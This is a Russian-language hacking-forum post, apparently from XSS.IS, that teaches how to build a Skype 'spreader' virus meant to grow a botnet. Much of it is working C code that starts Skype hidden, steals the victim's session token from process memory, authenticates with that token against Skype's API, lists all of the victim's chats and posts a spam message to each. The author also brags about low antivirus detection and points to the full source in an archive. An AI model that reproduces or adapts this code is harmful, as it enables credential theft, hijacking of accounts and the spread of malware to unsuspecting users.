Распространитель скупов

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Авторская статья специально для XSS.IS
Автор: malware_cryptor

В данной статье я хочу рассказать о таком виде вируса как spreader, написать собственную реализацию конкретно для мессенджера - скайпа

Что из себя представляет данный вид вируса и для чего он нужен вообще? Основная цель данного вида вируса — заразить как можно больше устройств в перспективе, может использоваться для увеличения численности ботнета

В контексте статьи я хочу рассказать именно про рассылку сообщений
Схема работы:

1738089274756.png




Как видно из схемы:

1. Необходимо проверить установлен ли мессенджер
2. Обновить токен пользователя(например запустить процесс)
3. Украсть токен
4. Эмулировать авторизацию пользователя
5. Получить список айди всех чатов
6. Выполнить рассылку сообщений

Все, что нужно знать о токене

Токен пользователя скайпа хранится в базе данных Cookies по пути C:\Users\<USER>\AppData\Roaming\Microsoft\Skype for Desktop\Network

Токен живет 24 часа, если он истекает — скайп обновляет его каким то своим алгоритмам, которые мне не удалось познать и понять, поэтому мы будем манипулировать приложением мессенджера для обновления токена

База данных и ее структура:
1738089615497.png



Во время работы мессенджер не блокирует базу данных
Скайп читает токен, если он устарел — обновляет, но сразу не обновляет в базе данных

Для того, чтобы токен обновился в базе данных — необходимо сначало отправить сообщение через графический интерфейс, но я же буду забирать токен с памяти процесса


Проверяем установлен ли скайп на пк жертвы

Приложение может быть как х32, так и х64
х32 приложения на х64 системе устанавливаются в C:\Program Files (x86)
В остальных случаях устанавка происходит в C:\Program Files

Таким образом имеем:

C:\\Program Files (x86)\\Microsoft\\Skype for Desktop\\Skype.exe
C:\\Program Files\\Microsoft\\Skype for Desktop\\Skype.exe

Сначало проверим запущен ли уже скайп

Я перебираю процессы, сравниваю имя каждого с именем искомого, если имя совпадает, то открываю процесс при помощи OpenProcess с уровнем доступа PROCESS_QUERY_INFORMATION для получения информации о страницах памяти процесса, а также PROCESS_VM_READ для непосредственного чтения этой памяти.

Спойлер: GetProcess
C: Скопировать в буфер обмена
Код:
HANDLE GetProcess(WCHAR* ProcessName)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        debug_printf("CreateToolhelp32Snapshot return -1\n");
        return 0;
    }

    PROCESSENTRY32W pe32;

    pe32.dwSize = sizeof(PROCESSENTRY32W);

    int ret = Process32FirstW(hSnapshot, &pe32);

    if (!ret)
    {
        debug_printf("Process32FirstW return 0\n");
        CloseHandle(hSnapshot);
        return 0;
    }


    HANDLE hProcess = 0;


    do
    {
        // debug_printf("szExeFile: '%S'\n", pe32.szExeFile);

        if(wcscmp(pe32.szExeFile, ProcessName) == 0)
        {
            debug_printf("Found process: %S (PID: %d)\n", pe32.szExeFile, pe32.th32ProcessID);

            hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);

            if(!hProcess)
            {
                debug_printf("OpenProcess return 0, GLE: %d\n", GetLastError());
            }

            break;
        }
    }
    while(Process32NextW(hSnapshot, &pe32));

    CloseHandle(hSnapshot);


    return hProcess;   
}
Если процесс мессенджера не запущен, то пытаемся его запустить, разумеется в скрытом режиме — без окна, для этого заполняем структуру STARTUPINFOA:


Код: Скопировать в буфер обмена
Код:
STARTUPINFOA SI = {0};

SI.cb = sizeof(STARTUPINFOA);
SI.dwFlags = STARTF_USESHOWWINDOW;   
SI.wShowWindow = SW_HIDE;

В цикле перебираем 2 возможных пути до приложения, пытаемся запустить при помощи CreateProcessA, если удается запустить процесс — закрываем дескриптор потока (чтобы не висел в памяти просто так), возвращаем из функции дескриптор процесса.

Затем я делаю паузу 5 секунд, для того, чтобы мессенджер успел инициализироваться.

Спойлер: Код
C: Скопировать в буфер обмена
Код:
BOOL need_kill = 0;
WCHAR* headers = 0;
char** urls = 0;


HANDLE hProcess = GetProcess(L"Skype.exe");

if(!hProcess)
{
    hProcess = RunSkypeIfInstalled();

    if(!hProcess)
    {
        debug_printf("Skype not installed!\n");
        return 0;
    }

    need_kill = 1;

    Sleep(5000); // wait for skype init       
}

Ну и сам код функции

Спойлер: RunSkypeIfInstalled
C: Скопировать в буфер обмена
Код:
HANDLE RunSkypeIfInstalled()
{
    STARTUPINFOA SI = {0};
    PROCESS_INFORMATION PI = {0};

    SI.cb = sizeof(STARTUPINFOA);
    SI.dwFlags = STARTF_USESHOWWINDOW;   
    SI.wShowWindow = SW_HIDE;           

    for(int i = 0; i < 2; i++)
    {
        int ret = CreateProcessA(skype_paths[i], 0, 0, 0, 0, CREATE_NO_WINDOW, 0, 0, &SI, &PI);

        if(!ret) continue;

        // Sleep(5000); // wait for skype init

        // TerminateProcess(PI.hProcess, 0);

        // CloseHandle(PI.hProcess);
        CloseHandle(PI.hThread);

        return PI.hProcess;     
    }

    return 0;
}

После проделанных манипуляций итерируем страницы памяти процесса, если тип страницы совпадает с MEM_PRIVATE, а ее состояние с MEM_COMMIT – выделяем область памяти в своем процессе, читаем память из скайпа в нее

Эту информацию я получил путем анализ памяти в system informer:
1738090141390.png


Спойлер: SkypeMemoryGetToken
C: Скопировать в буфер обмена
Код:
char* SkypeMemoryGetToken(HANDLE hProcess)
{
    char sToken[] = "skypetoken=";
    int TokenLen = 688;

    SYSTEM_INFO sysInfo;

    GetSystemInfo(&sysInfo);

    // debug_printf("maxaddress: 0x%llx\n", sysInfo.lpMaximumApplicationAddress);


    char* cur_search_address = 0;
    MEMORY_BASIC_INFORMATION mbi;

    while (cur_search_address < sysInfo.lpMaximumApplicationAddress)
    {
        if (VirtualQueryEx(hProcess, cur_search_address, &mbi, sizeof(mbi)) == sizeof(mbi))
        {
            cur_search_address = (char*)mbi.BaseAddress + mbi.RegionSize;

            void* address = mbi.BaseAddress;



            if (mbi.Type == MEM_PRIVATE && mbi.State == MEM_COMMIT)
            {
                // address = (char*)mbi.AllocationBase + mbi.RegionSize;

                // debug_printf("Addr: 0x%llx\n", address);
                // debug_printf("Size: 0x%x\n", mbi.RegionSize);
                // debug_printf("Type: 0x%x\n", mbi.Type);
                // debug_printf("Protect: 0x%x\n\n", mbi.Protect);

                // if(mbi.AllocationProtect | 0x2)
                // {
                char* MemBlock = malloc(mbi.RegionSize);

                if(!MemBlock)
                {
                    debug_printf("malloc ret 0, size: %d KB\n", mbi.RegionSize / 1024);
                    continue;
                }

                int ret = ReadProcessMemory(hProcess, address, MemBlock, mbi.RegionSize, 0);

                if(!ret)
                {
                    free(MemBlock);
                    // debug_printf("ReadProcessMemory ret 0, GLE: %d\n", GetLastError());

                    continue;
                }



                char* sToken_start = memmem_ff(MemBlock, mbi.RegionSize, sToken, sizeof(sToken) - 1);

                if(!sToken_start)
                {
                    free(MemBlock);

                    continue;
                }

                // debug_printf("sToken_start: %s\n", sToken_start);

                if(strlen(sToken_start) != TokenLen + sizeof(sToken) - 1)
                {
                    free(MemBlock);
                    
                    continue;
                }

                char* SkypeToken = malloc(TokenLen + 1);

                if(!SkypeToken)
                {
                    free(MemBlock);

                    continue;
                }

                memcpy(SkypeToken, sToken_start + sizeof(sToken) - 1, TokenLen + 1);
                // SkypeToken[TokenLen] = '\0';

                free(MemBlock);

                return SkypeToken;
            }
        }
        else
        {
            break;
        }

        // address = (char*)mbi.AllocationBase + mbi.RegionSize;
    }

    return 0;
}
Путем проверки разных токенов от разных аккаунтов я выяснил, что длина токена равна 688 символам



Затем в скопированной памяти я ищу строку-префикс: «skypetoken=» сверяю длину найденной строки: она должна быть равной 688 + 11 = 699
1738090246843.png


Выделяю память под токен, копирую его туда, освобождаю скопированную память, возвращаю токен из функции
Завершаем процесс скайпа если он был создан искусственно, а не был изначально открыт на пк жертвы

Затем я инициализирую заголовки для HTTPS запросов:

Authorization с значением формата «skypetoken TOKEN» для авторизации пользователя, а также же Authentication с значением формата «skypetoken=TOKEN» для дальнейших действий с недокументированным апи
Спойлер: CreateHeaders
C: Скопировать в буфер обмена
Код:
WCHAR* CreateHeaders(char* token)
{
    DWORD token_len = strlen(token) + 1;

    // debug_printf("token_len: %d\n", token_len);

    WCHAR* w_token = malloc(token_len * 2);

    if(!w_token) return 0;

    CharToWChar(w_token, token, token_len);

    WCHAR* headers = malloc(3000 * 2);

    if(!headers)
    {
        free(w_token);
        return 0;
    }

    // debug_printf("1\n");

    wcscpy(headers, L"Accept: application/json\n");
    wcscat(headers, L"Content-Type: application/json\n");
    wcscat(headers, L"MS-IC3-Product: Sfl\n");
    wcscat(headers, L"Authorization: skype_token ");
    wcscat(headers, w_token);
    wcscat(headers, L"\n");
    wcscat(headers, L"Authentication: skypetoken=");
    wcscat(headers, w_token);

    free(w_token);

    return headers;
}

Для работы с апи необходимо указать заголовок MS-IC3-Product со строковым значением Sfl
1738090411713.png


1738090434613.png



Эмулируем авторизацию пользователя:

Посредством сгенерированных ранее заголовков отправляем post запрос по адресу api.asm.skype.com с путем v1/skypetokenauth при успешной авторизации статус код должен быть равным 204, и ответ соответственно должен быть пустым

Спойлер: SkypeTokenAuth
C: Скопировать в буфер обмена
Код:
BOOL SkypeTokenAuth(LPCWSTR headers, DWORD h_len)
{
    CHAR* resp = 0;
    DWORD StatusCode = 0;

    DWORD resp_size = make_https(L"POST", L"api.asm.skype.com", L"v1/skypetokenauth", TRUE,
                headers, h_len, 0, 0, &resp, &StatusCode);

    if(resp) free(resp);

    
    debug_printf("StatusCode: %d\n", StatusCode);

    if(StatusCode != 204)
    {
        debug_printf("ERROR: auth failed!\n");
        return 0;
    }
    else
    {
        return 1;
    }

}

Получить список айди всех чатов

Мне удалось нагуглить библиотеку для питона, некоторая информация из нее помогла мне понять что к чему и определить дальнейший порядок действий, ссылку также прилагаю

https://skpy[.]t[.]allofti[.]me/background/index.html
1738090552199.png



В ответе данного апи содержится жсон следующего формата:

1738090584633.png


здесь мы видим список других жсонов, проанализировав их мой взгляд упал на поле messages

Покопавшись еще в http analyzer, проанализировал запросы исходящие в момент отправки сообщения в мессенджере — я нашел это:
1738090627967.png



Мне удалось отправить сообщения протестировав пост запросы к юрл-значению из вышеупомянутого поля messages с параметрами от неофициальной документации

Но есть нюанс: некоторые жсоны указывают на юзернейм несуществующего пользователя, hex-id совпадает, а префикс нет


1738131174978.png


Настоящий же айди: live:8e2acf54b3811562

Отбрасывать айди с точкой и cid префиксом оказалось не нашим вариантом, так как настоящие пользователи могут иметь айди с этими префиксами, поэтому было принято решение забить болт на сортировку этих айдишников, ничего плохого от этого не будет.

Для извлечения данных из жсона я использовал самописную функцию, не стал тащить полноценный жсон парсер:
Спойлер: JsonTextGetValue
Код: Скопировать в буфер обмена
Код:
char* JsonTextGetValue(char* json_text, const char* sKey, char EndCh, DWORD* valEndOffset)
{
    char* key_start = strstr(json_text, sKey);

    if(!key_start) return 0;

    char* value_start = key_start + strlen(sKey);
    char* value_end = strchr(value_start, EndCh);

    DWORD value_len = value_end - value_start;

    // debug_printf("value_len: %d\n", value_len);
    // debug_printf("value_start: '%s'\n", value_start);

    char* value = malloc(value_len + 1);

    memcpy(value, value_start, value_len);
    value[value_len] = '\0';

    if(valEndOffset)
    {
        *valEndOffset = value_end - json_text;
    }

    

    return value;
}

Функция для извлечения значений от ключа messages из жсона:
Спойлер: SkypeGetSendMessageUrls
C: Скопировать в буфер обмена
Код:
char** SkypeGetSendMessageUrls(LPCWSTR headers, DWORD h_len, DWORD* names_count)
{
    // const WCHAR url[] = L"https://msgapi.teams.live.com/v1/users/ME/conversations?startTime=0&view=msnp24Equivalent&targetType=Skype";

    char* resp = 0;
    DWORD StatusCode = 0;

    DWORD resp_size = make_https(L"GET", L"client-s.gateway.messenger.live.com",
            L"v1/users/ME/conversations?startTime=0&view=msnp24Equivalent&targetType=Skype",
            TRUE, headers, h_len, 0, 0, &resp, &StatusCode);

    if(StatusCode != 200 || !resp)
    {
        debug_printf("ERROR: get skype convers failed!\n");

        if(resp) free(resp);
        return 0;
    }

    // debug_printf("resp: %s\n", resp);

    // "_metadata":{"totalCount":

    char* CountStr = JsonTextGetValue(resp, "{\"totalCount\":", ',', 0);

    if(!CountStr)
    {
        free(resp);
        debug_printf("no count str\n");
        return 0;
    }

    debug_printf("totalCount: %s\n", CountStr);

    DWORD totalCount = atoi(CountStr);

    free(CountStr);

    if(!totalCount)
    {
        free(resp);
        return 0;
    }

    char** urls = malloc(sizeof(char*) * totalCount);

    if(!urls)
    {
        free(resp);
        return 0;
    }




    
    DWORD offset = 0;
    DWORD valEndOffset = 0;

    for(int i = 0; i < totalCount; i++)
    {
        char* url = JsonTextGetValue(resp + offset, "\"messages\":\"", '"', &valEndOffset);

        if(!url) break;

        offset += valEndOffset;

        urls[i] = url;

        // debug_printf("offset: %d\n", offset);

        // debug_printf("url: %s\n", url);
        


    }

    free(resp);

    *names_count = totalCount;

    return urls; 
}

Выполняем рассылку сообщений
1738091276263.png



На скрине видно формат отправляемого сообщения, он имеет вид жсона, который включает в себя 3 обязательных элемента:

messagetype – я буду использовать для отправки текста RichText, подробнее можно прочитать в неофициальной документации, ссылку также прилагаю:
https://skpy[.]t[.]allofti[.]me/background/protocol/chats[.]html#messages

contenttype – я буду использовать значение «text», такое же как в отловленном хттпс запросе

content – непосредственно сам отправляемый контент, зависит от messagetype

Код отправки сообщений:
Спойлер: Код
C: Скопировать в буфер обмена
Код:
DWORD totalCount = 0;

urls = SkypeGetSendMessageUrls(headers, headersLen, &totalCount);

if(!urls) goto cleanup;



CHAR SpamMessage[64 + sizeof(SPAM_TEXT) + 2] = "{\"messagetype\": \"RichText\", \"contenttype\": \"text\", \"content\": \""; // Hello content"}

strcat(SpamMessage, SPAM_TEXT);
strcat(SpamMessage, "\"}");

debug_printf("SpamMessage: '%s'\n", SpamMessage);


CHAR* resp = 0;
DWORD StatusCode = 0;

for(int i = 0; i < totalCount; i++)
{
    debug_printf("url: %s\n", urls[i]);

    char* domain_start = urls[i] + 8;
    char* path_start = strstr(domain_start, "/");

    DWORD domain_len = path_start - domain_start;
    DWORD path_len = strlen(path_start);

    WCHAR* domain = malloc(domain_len * 2 + 2);
    WCHAR* path = malloc(path_len * 2 + 2);

    mbstowcs(domain, domain_start, domain_len);
    mbstowcs(path, path_start, path_len);

    domain[domain_len] = '\0';
    path[path_len] = '\0';

    free(urls[i]);

    debug_printf("domain: '%S'\n", domain);
    debug_printf("path: '%S'\n", path);
    // delete

    make_https(L"POST", domain, path, TRUE, headers, headersLen, SpamMessage, sizeof(SpamMessage) - 1, &resp, &StatusCode);

    if(resp) free(resp);

    free(domain);
    free(path);
}

Каким то образом удалось даже обойти ограничение:
1738091418099.png



Да и в целом в плане защиты у скайпа не очень

Тестирование на антивирусах:
Скан VirusTotal:
https://www.virustotal.com/gui/file/cd8dca678100e5bc0a678bb8210d1b0d2feef2641f0051451b264d3d1b1d6400/detection

Имеем 2 из 72 детектов, при желании почистить не проблема
На рантайм не вижу смысла кидать, так как сомневаюсь, что на вмках установлен скайп

Заключение:
Изначально я планировал выложить статью на конкурс, но посчитал что уровень статьи не тот, в другой раз подготовлю материал

Сурс код прилагаю в архиве, пароль местный


P.S. посоветуйте куда архив лучше загрузить, на экспе 1к загрузок и 30 дней максимум


1738090669018.png


View hidden content is available for registered users!
 
Сверху Снизу